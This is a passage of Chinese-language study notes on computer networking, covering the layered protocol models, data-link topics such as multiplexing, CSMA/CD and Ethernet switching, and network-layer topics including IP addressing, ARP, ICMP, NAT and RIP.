* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
|
||||
* [虚拟专用网 VPN](#虚拟专用网-vpn)
|
||||
* [网络地址转换 NAT](#网络地址转换-nat)
|
||||
* [路由器的结构](#路由器的结构)
|
||||
* [路由器分组转发流程](#路由器分组转发流程)
|
||||
* [路由选择协议](#路由选择协议)
|
||||
* [五、传输层](#五传输层)
|
||||
* [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
|
||||
* [UDP 首部格式](#udp-首部格式)
|
||||
* [TCP 首部格式](#tcp-首部格式)
|
||||
* [TCP 的三次握手](#tcp-的三次握手)
|
||||
* [TCP 的四次挥手](#tcp-的四次挥手)
|
||||
* [TCP 可靠传输](#tcp-可靠传输)
|
||||
* [TCP 滑动窗口](#tcp-滑动窗口)
|
||||
* [TCP 流量控制](#tcp-流量控制)
|
||||
* [TCP 拥塞控制](#tcp-拥塞控制)
|
||||
* [六、应用层](#六应用层)
|
||||
* [域名系统](#域名系统)
|
||||
* [文件传送协议](#文件传送协议)
|
||||
* [动态主机配置协议](#动态主机配置协议)
|
||||
* [远程登录协议](#远程登录协议)
|
||||
* [电子邮件协议](#电子邮件协议)
|
||||
* [常用端口](#常用端口)
|
||||
* [Web 页面请求过程](#web-页面请求过程)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概述
|
||||
|
||||
## 网络的网络
|
||||
|
||||
网络把主机连接起来,而互联网是把多种不同的网络连接起来,因此互联网是网络的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//network-of-networks.gif" width="450"/> </div><br>
|
||||
|
||||
## ISP
|
||||
|
||||
互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址,同时拥有通信线路以及路由器等联网设备,个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
|
||||
|
||||
<div align="center"> <img src="../pics//46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/> </div><br>
|
||||
|
||||
目前的互联网是一种多层次 ISP 结构,ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
|
||||
|
||||
<div align="center"> <img src="../pics//168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/> </div><br>
|
||||
|
||||
## 主机之间的通信方式
|
||||
|
||||
- 客户-服务器(C/S):客户是服务的请求方,服务器是服务的提供方。
|
||||
|
||||
- 对等(P2P):不区分客户和服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/> </div><br>
|
||||
|
||||
## 电路交换与分组交换
|
||||
|
||||
### 1. 电路交换
|
||||
|
||||
电路交换用于电话通信系统,两个用户要通信之前需要建立一条专用的物理链路,并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路,因此电路交换对线路的利用率很低,往往不到 10%。
|
||||
|
||||
### 2. 分组交换
|
||||
|
||||
每个分组都有首部和尾部,包含了源地址和目的地址等控制信息,在同一个传输线路上同时传输多个分组互相不会影响,因此在同一条传输线路上允许同时传输多个分组,也就是说分组交换不需要占用传输线路。
|
||||
|
||||
在一个邮局通信系统中,邮局收到一份邮件之后,先存储下来,然后把相同目的地的邮件一起转发到下一个目的地,这个过程就是存储转发过程,分组交换也使用了存储转发过程。
|
||||
|
||||
## 时延
|
||||
|
||||
总时延 = 传输时延 + 传播时延 + 处理时延 + 排队时延
|
||||
|
||||
<div align="center"> <img src="../pics//3939369b-3a4a-48a0-b9eb-3efae26dd400.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 传输时延
|
||||
|
||||
主机或路由器传输数据帧所需要的时间。
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(bit)}{v(bit/s)}"/></div> <br>
|
||||
|
||||
其中 l 表示数据帧的长度,v 表示传输速率。
|
||||
|
||||
### 2. 传播时延
|
||||
|
||||
电磁波在信道中传播所需要花费的时间,电磁波传播的速度接近光速。
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}"/></div> <br>
|
||||
|
||||
其中 l 表示信道长度,v 表示电磁波在信道上的传播速度。
|
||||
|
||||
### 3. 处理时延
|
||||
|
||||
主机或路由器收到分组时进行处理所需要的时间,例如分析首部、从分组中提取数据、进行差错检验或查找适当的路由等。
|
||||
|
||||
### 4. 排队时延
|
||||
|
||||
分组在路由器的输入队列和输出队列中排队等待的时间,取决于网络当前的通信量。
|
||||
|
||||
## 计算机网络体系结构
|
||||
|
||||
<div align="center"> <img src="../pics//426df589-6f97-4622-b74d-4a81fcb1da8e.png" width="600"/> </div><br>
|
||||
|
||||
### 1. 五层协议
|
||||
|
||||
- **应用层** :为特定应用程序提供数据传输服务,例如 HTTP、DNS 等。数据单位为报文。
|
||||
|
||||
- **传输层** :为进程提供通用数据传输服务。由于应用层协议很多,定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议:传输控制协议 TCP,提供面向连接、可靠的数据传输服务,数据单位为报文段;用户数据报协议 UDP,提供无连接、尽最大努力的数据传输服务,数据单位为用户数据报。TCP 主要提供完整性服务,UDP 主要提供及时性服务。
|
||||
|
||||
- **网络层** :为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。
|
||||
|
||||
- **数据链路层** :网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。
|
||||
|
||||
- **物理层** :考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使数据链路层感觉不到这些差异。
|
||||
|
||||
### 2. OSI
|
||||
|
||||
其中表示层和会话层用途如下:
|
||||
|
||||
- **表示层** :数据压缩、加密以及数据描述,这使得应用程序不必关心在各台主机中数据内部格式不同的问题。
|
||||
|
||||
- **会话层** :建立及管理会话。
|
||||
|
||||
五层协议没有表示层和会话层,而是将这些功能留给应用程序开发者处理。
|
||||
|
||||
### 3. TCP/IP
|
||||
|
||||
它只有四层,相当于五层协议中数据链路层和物理层合并为网络接口层。
|
||||
|
||||
TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者网络接口层。
|
||||
|
||||
<div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
|
||||
|
||||
TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中占据举足轻重的地位。
|
||||
|
||||
<div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
|
||||
|
||||
### 4. 数据在各层之间的传递过程
|
||||
|
||||
在向下的过程中,需要添加下层协议所需要的首部或者尾部,而在向上的过程中不断拆开首部和尾部。
|
||||
|
||||
路由器只有下面三层协议,因为路由器位于网络核心中,不需要为进程或者应用程序提供服务,因此也就不需要传输层和应用层。
|
||||
|
||||
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
|
||||
|
||||
# 二、物理层
|
||||
|
||||
## 通信方式
|
||||
|
||||
根据信息在传输线上的传送方向,分为以下三种通信方式:
|
||||
|
||||
- 单工通信:单向传输
|
||||
- 半双工通信:双向交替传输
|
||||
- 全双工通信:双向同时传输
|
||||
|
||||
## 带通调制
|
||||
|
||||
模拟信号是连续的信号,数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
|
||||
|
||||
<div align="center"> <img src="../pics//f0a31c04-6e26-408c-8395-88f4e2ae928b.jpg"/> </div><br>
|
||||
|
||||
# 三、数据链路层
|
||||
|
||||
## 基本问题
|
||||
|
||||
### 1. 封装成帧
|
||||
|
||||
将网络层传下来的分组添加首部和尾部,用于标记帧的开始和结束。
|
||||
|
||||
<div align="center"> <img src="../pics//ea5f3efe-d5e6-499b-b278-9e898af61257.jpg" width="500"/> </div><br>
|
||||
|
||||
### 2. 透明传输
|
||||
|
||||
透明表示一个实际存在的事物看起来好像不存在一样。
|
||||
|
||||
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符。如果数据部分出现转义字符,那么就在转义字符前面再加个转义字符。在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
|
||||
|
||||
<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
|
||||
|
||||
### 3. 差错检测
|
||||
|
||||
目前数据链路层广泛使用了循环冗余检验(CRC)来检查比特差错。
|
||||
|
||||
## 信道分类
|
||||
|
||||
### 1. 广播信道
|
||||
|
||||
一对多通信,一个节点发送的数据能够被广播信道上所有的节点接收到。
|
||||
|
||||
所有的节点都在同一个广播信道上发送数据,因此需要有专门的控制方法进行协调,避免发生冲突(冲突也叫碰撞)。
|
||||
|
||||
主要有两种控制方法进行协调,一个是使用信道复用技术,一是使用 CSMA/CD 协议。
|
||||
|
||||
### 2. 点对点信道
|
||||
|
||||
一对一通信。
|
||||
|
||||
因为不会发生碰撞,因此也比较简单,使用 PPP 协议进行控制。
|
||||
|
||||
## 信道复用技术
|
||||
|
||||
### 1. 频分复用
|
||||
|
||||
频分复用的所有主机在相同的时间占用不同的频率带宽资源。
|
||||
|
||||
<div align="center"> <img src="../pics//c4c14368-519c-4a0e-8331-0a553715e3e7.jpg"/> </div><br>
|
||||
|
||||
### 2. 时分复用
|
||||
|
||||
时分复用的所有主机在不同的时间占用相同的频率带宽资源。
|
||||
|
||||
<div align="center"> <img src="../pics//fa2273c3-1b5f-48ce-8e8b-441a4116c1c4.jpg"/> </div><br>
|
||||
|
||||
使用频分复用和时分复用进行通信,在通信的过程中主机会一直占用一部分信道资源。但是由于计算机数据的突发性质,通信过程没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
|
||||
|
||||
### 3. 统计时分复用
|
||||
|
||||
是对时分复用的一种改进,不固定每个用户在时分复用帧中的位置,只要有数据就集中起来组成统计时分复用帧然后发送。
|
||||
|
||||
<div align="center"> <img src="../pics//5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png" width="700"/> </div><br>
|
||||
|
||||
### 4. 波分复用
|
||||
|
||||
光的频分复用。由于光的频率很高,因此习惯上用波长而不是频率来表示所使用的光载波。
|
||||
|
||||
<div align="center"> <img src="../pics//21041ec2-babb-483f-bf47-8b8148eec162.png" width="700"/> </div><br>
|
||||
|
||||
### 5. 码分复用
|
||||
|
||||
为每个用户分配 m bit 的码片,并且所有的码片正交,对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}"/> 有
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
|
||||
|
||||
为了讨论方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
|
||||
|
||||
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S}=1"/></div> <br>
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S'}=-1"/></div> <br>
|
||||
|
||||
其中 <img src="https://latex.codecogs.com/gif.latex?\vec{S'}"/> 为 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 的反码。
|
||||
|
||||
利用上面的式子我们知道,当接收端使用码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 对接收到的数据进行内积运算时,结果为 0 的是其它用户发送的数据,结果为 1 的是用户发送的比特 1,结果为 -1 的是用户发送的比特 0。
|
||||
|
||||
码分复用需要发送的数据量为原先的 m 倍。
|
||||
|
||||
<div align="center"> <img src="../pics//92ad9bae-7d02-43ba-8115-a9d6f530ca28.png" width="600"/> </div><br>
|
||||
|
||||
## CSMA/CD 协议
|
||||
|
||||
CSMA/CD 表示载波监听多点接入 / 碰撞检测。
|
||||
|
||||
- **多点接入** :说明这是总线型网络,许多主机以多点的方式连接到总线上。
|
||||
- **载波监听** :每个主机都必须不停地监听信道。在发送前,如果监听到信道正在使用,就必须等待。
|
||||
- **碰撞检测** :在发送中,如果监听到信道已有其它主机正在发送数据,就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
|
||||
|
||||
记端到端的传播时延为 τ,最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞,称 2τ 为 **争用期** 。只有经过争用期之后还没有检测到碰撞,才能肯定这次发送不会发生碰撞。
|
||||
|
||||
当发生碰撞时,站点要停止发送,等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数,记作 r,然后取 r 倍的争用期作为重传等待时间。
|
||||
|
||||
<div align="center"> <img src="../pics//5aa82b89-f266-44da-887d-18f31f01d8ef.png" width="600"/> </div><br>
|
||||
|
||||
## PPP 协议
|
||||
|
||||
互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//ddcf2327-8d84-425d-8535-121a94bcb88d.jpg" width="600"/> </div><br>
|
||||
|
||||
PPP 的帧格式:
|
||||
|
||||
- F 字段为帧的定界符
|
||||
- A 和 C 字段暂时没有意义
|
||||
- FCS 字段是使用 CRC 的检验序列
|
||||
- 信息部分的长度不超过 1500
|
||||
|
||||
<div align="center"> <img src="../pics//69f16984-a66f-4288-82e4-79b4aa43e835.jpg" width="500"/> </div><br>
|
||||
|
||||
## MAC 地址
|
||||
|
||||
MAC 地址是链路层地址,长度为 6 字节(48 位),用于唯一标识网络适配器(网卡)。
|
||||
|
||||
一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器,因此就有两个 MAC 地址。
|
||||
|
||||
## 局域网
|
||||
|
||||
局域网是一种典型的广播信道,主要特点是网络为一个单位所拥有,且地理范围和站点数目均有限。
|
||||
|
||||
主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术,目前以太网占领着有线局域网市场。
|
||||
|
||||
可以按照网络拓扑结构对局域网进行分类:
|
||||
|
||||
<div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
|
||||
|
||||
## 以太网
|
||||
|
||||
以太网是一种星型拓扑结构局域网。
|
||||
|
||||
早期使用集线器进行连接,集线器是一种物理层设备, 作用于比特而不是帧,当一个比特到达接口时,集线器重新生成这个比特,并将其能量强度放大,从而扩大网络的传输距离,之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧,那么就发生了碰撞。
|
||||
|
||||
目前以太网使用交换机替代了集线器,交换机是一种链路层设备,它不会发生碰撞,能根据 MAC 地址进行存储转发。
|
||||
|
||||
以太网帧格式:
|
||||
|
||||
- **类型** :标记上层使用的协议;
|
||||
- **数据** :长度在 46-1500 之间,如果太小则需要填充;
|
||||
- **FCS** :帧检验序列,使用的是 CRC 检验方法;
|
||||
- **前同步码** :只是为了计算 FCS 临时加入的,计算结束之后会丢弃。
|
||||
|
||||
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg" width="600"/> </div><br>
|
||||
|
||||
## 交换机
|
||||
|
||||
交换机具有自学习能力,学习的是交换表的内容,交换表中存储着 MAC 地址到接口的映射。
|
||||
|
||||
正是由于这种自学习能力,因此交换机是一种即插即用设备,不需要网络管理员手动配置交换表内容。
|
||||
|
||||
下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧。主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1,就发送数据帧到接口 1,同时交换机添加主机 B 到接口 3 的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg" width="800"/> </div><br>
|
||||
|
||||
## 虚拟局域网
|
||||
|
||||
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息。
|
||||
|
||||
例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网,A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
|
||||
|
||||
使用 VLAN 干线连接来建立虚拟局域网,每台交换机上的一个特殊接口被设置为干线接口,以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q,它在标准以太网帧上加进了 4 字节首部 VLAN 标签,用于表示该帧属于哪一个虚拟局域网。
|
||||
|
||||
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="500"/> </div><br>
|
||||
|
||||
# 四、网络层
|
||||
|
||||
## 概述
|
||||
|
||||
因为网络层是整个互联网的核心,因此应当让网络层尽可能简单。网络层向上只提供简单灵活的、无连接的、尽最大努力交互的数据报服务。
|
||||
|
||||
使用 IP 协议,可以把异构的物理网络连接起来,使得在网络层看起来好像是一个统一的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//7b038838-c75b-4538-ae84-6299386704e5.jpg" width="500"/> </div><br>
|
||||
|
||||
与 IP 协议配套使用的还有三个协议:
|
||||
|
||||
- 地址解析协议 ARP(Address Resolution Protocol)
|
||||
- 网际控制报文协议 ICMP(Internet Control Message Protocol)
|
||||
- 网际组管理协议 IGMP(Internet Group Management Protocol)
|
||||
|
||||
<div align="center"> <img src="../pics//0a9f4125-b6ab-4e94-a807-fd7070ae726a.png" width="350"/> </div><br>
|
||||
|
||||
## IP 数据报格式
|
||||
|
||||
<div align="center"> <img src="../pics//85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
|
||||
|
||||
- **版本** : 有 4(IPv4)和 6(IPv6)两个值;
|
||||
|
||||
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
|
||||
|
||||
- **区分服务** : 用来获得更好的服务,一般情况下不使用。
|
||||
|
||||
- **总长度** : 包括首部长度和数据部分长度。
|
||||
|
||||
- **生存时间** :TTL,它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位,当 TTL 为 0 时就丢弃数据报。
|
||||
|
||||
- **协议** :指出携带的数据应该上交给哪个协议进行处理,例如 ICMP、TCP、UDP 等。
|
||||
|
||||
- **首部检验和** :因为数据报每经过一个路由器,都要重新计算检验和,因此检验和不包含数据部分可以减少计算的工作量。
|
||||
|
||||
- **标识** : 在数据报长度过长从而发生分片的情况下,相同数据报的不同分片具有相同的标识符。
|
||||
|
||||
- **片偏移** : 和标识符一起,用于发生分片的情况。片偏移的单位为 8 字节。
|
||||
|
||||
<div align="center"> <img src="../pics//23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
|
||||
|
||||
## IP 地址编址方式
|
||||
|
||||
IP 地址的编址方式经历了三个历史阶段:
|
||||
|
||||
- 分类
|
||||
- 子网划分
|
||||
- 无分类
|
||||
|
||||
### 1. 分类
|
||||
|
||||
由两部分组成,网络号和主机号,其中不同分类具有不同的网络号长度,并且是固定的。
|
||||
|
||||
IP 地址 ::= {< 网络号 >, < 主机号 >}
|
||||
|
||||
<div align="center"> <img src="../pics//cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
|
||||
|
||||
### 2. 子网划分
|
||||
|
||||
通过在主机号字段中拿一部分作为子网号,把两级 IP 地址划分为三级 IP 地址。
|
||||
|
||||
IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
|
||||
|
||||
要使用子网,必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0,如果 B 类地址的子网占两个比特,那么子网掩码为 11111111 11111111 11000000 00000000,也就是 255.255.192.0。
|
||||
|
||||
注意,外部网络看不到子网的存在。
|
||||
|
||||
### 3. 无分类
|
||||
|
||||
无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念,使用网络前缀和主机号来对 IP 地址进行编码,网络前缀的长度可以根据需要变化。
|
||||
|
||||
IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
|
||||
|
||||
CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法,例如 128.14.35.7/20 表示前 20 位为网络前缀。
|
||||
|
||||
CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为网络前缀的长度。
|
||||
|
||||
一个 CIDR 地址块中有很多地址,一个 CIDR 表示的网络就可以表示原来的很多个网络,并且在路由表中只需要一个路由就可以代替原来的多个路由,减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合,也称为 **构成超网** 。
|
||||
|
||||
在路由表中的项目由“网络前缀”和“下一跳地址”组成,在查找时可能会得到不止一个匹配结果,应当采用最长前缀匹配来确定应该匹配哪一个。
|
||||
|
||||
## 地址解析协议 ARP
|
||||
|
||||
网络层实现主机之间的通信,而链路层实现具体每段链路之间的通信。因此在通信过程中,IP 数据报的源地址和目的地址始终不变,而 MAC 地址随着链路的改变而改变。
|
||||
|
||||
<div align="center"> <img src="../pics//66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
|
||||
|
||||
ARP 实现由 IP 地址得到 MAC 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
|
||||
|
||||
每个主机都有一个 ARP 高速缓存,里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
|
||||
|
||||
如果主机 A 知道主机 B 的 IP 地址,但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射,此时主机 A 通过广播的方式发送 ARP 请求分组,主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址,随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
|
||||
|
||||
## 网际控制报文协议 ICMP
|
||||
|
||||
ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中,但是不属于高层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
|
||||
|
||||
ICMP 报文分为差错报告报文和询问报文。
|
||||
|
||||
<div align="center"> <img src="../pics//aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
|
||||
|
||||
### 1. Ping
|
||||
|
||||
Ping 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连通性。
|
||||
|
||||
Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文,目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
|
||||
|
||||
### 2. Traceroute
|
||||
|
||||
Traceroute 是 ICMP 的另一个应用,用来跟踪一个分组从源点到终点的路径。
|
||||
|
||||
Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报,并由目的主机发送终点不可达差错报告报文。
|
||||
|
||||
- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1,当 P1 到达路径上的第一个路由器 R1 时,R1 收下它并把 TTL 减 1,此时 TTL 等于 0,R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
|
||||
- 源主机接着发送第二个数据报 P2,并把 TTL 设置为 2。P2 先到达 R1,R1 收下后把 TTL 减 1 再转发给 R2,R2 收下后也把 TTL 减 1,由于此时 TTL 等于 0,R2 就丢弃 P2,并向源主机发送一个 ICMP 时间超过差错报文。
|
||||
- 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP,因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
|
||||
- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
|
||||
|
||||
## 虚拟专用网 VPN
|
||||
|
||||
由于 IP 地址的紧缺,一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中,机构内的计算机可以使用仅在本机构有效的 IP 地址(专用地址)。
|
||||
|
||||
有三个专用地址块:
|
||||
|
||||
- 10.0.0.0 \~ 10.255.255.255
|
||||
- 172.16.0.0 \~ 172.31.255.255
|
||||
- 192.168.0.0 \~ 192.168.255.255
|
||||
|
||||
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指好像是,而实际上并不是,它有经过公用的互联网。
|
||||
|
||||
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
|
||||
|
||||
<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
|
||||
|
||||
## 网络地址转换 NAT
|
||||
|
||||
专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时,可以使用 NAT 来将本地 IP 转换为全球 IP。
|
||||
|
||||
在以前,NAT 将本地 IP 和全球 IP 一一对应,这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址,现在常用的 NAT 转换表把传输层的端口号也用上了,使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
|
||||
|
||||
<div align="center"> <img src="../pics//2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
|
||||
|
||||
## 路由器的结构
|
||||
|
||||
路由器从功能上可以划分为:路由选择和分组转发。
|
||||
|
||||
分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。
|
||||
|
||||
<div align="center"> <img src="../pics//c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
|
||||
|
||||
## 路由器分组转发流程
|
||||
|
||||
- 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。
|
||||
- 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
|
||||
- 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
|
||||
- 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
|
||||
- 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
|
||||
- 报告转发分组出错。
|
||||
|
||||
<div align="center"> <img src="../pics//1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
|
||||
|
||||
## 路由选择协议
|
||||
|
||||
路由选择协议都是自适应的,能随着网络通信量和拓扑结构的变化而自适应地进行调整。
|
||||
|
||||
互联网可以划分为许多较小的自治系统 AS,一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
|
||||
|
||||
可以把路由选择协议划分为两大类:
|
||||
|
||||
- 自治系统内部的路由选择:RIP 和 OSPF
|
||||
- 自治系统间的路由选择:BGP
|
||||
|
||||
### 1. 内部网关协议 RIP
|
||||
|
||||
RIP 是一种基于距离向量的路由选择协议。距离是指跳数,直接相连的路由器跳数为 1。跳数最多为 15,超过 15 表示不可达。
|
||||
|
||||
RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表,经过若干次交换之后,所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
|
||||
|
||||
距离向量算法:
|
||||
|
||||
- 对地址为 X 的相邻路由器发来的 RIP 报文,先修改报文中的所有项目,把下一跳字段中的地址改为 X,并把所有的距离字段加 1;
|
||||
- 对修改后的 RIP 报文中的每一个项目,进行以下步骤:
|
||||
- 若原来的路由表中没有目的网络 N,则把该项目添加到路由表中;
|
||||
- 否则:若下一跳路由器地址是 X,则把收到的项目替换原来路由表中的项目;否则:若收到的项目中的距离 d 小于路由表中的距离,则进行更新(例如原始路由表项为 Net2, 5, P,新表项为 Net2, 4, X,则更新);否则什么也不做。
|
||||
- 若 3 分钟还没有收到相邻路由器的更新路由表,则把该相邻路由器标为不可达,即把距离置为 16。
|
||||
|
||||
RIP 协议实现简单,开销小。但是 RIP 能使用的最大距离为 15,限制了网络的规模。并且当网络出现故障时,要经过比较长的时间才能将此消息传送到所有路由器。
|
||||
|
||||
### 2. 内部网关协议 OSPF
|
||||
|
||||
开放最短路径优先 OSPF,是为了克服 RIP 的缺点而开发出来的。
|
||||
|
||||
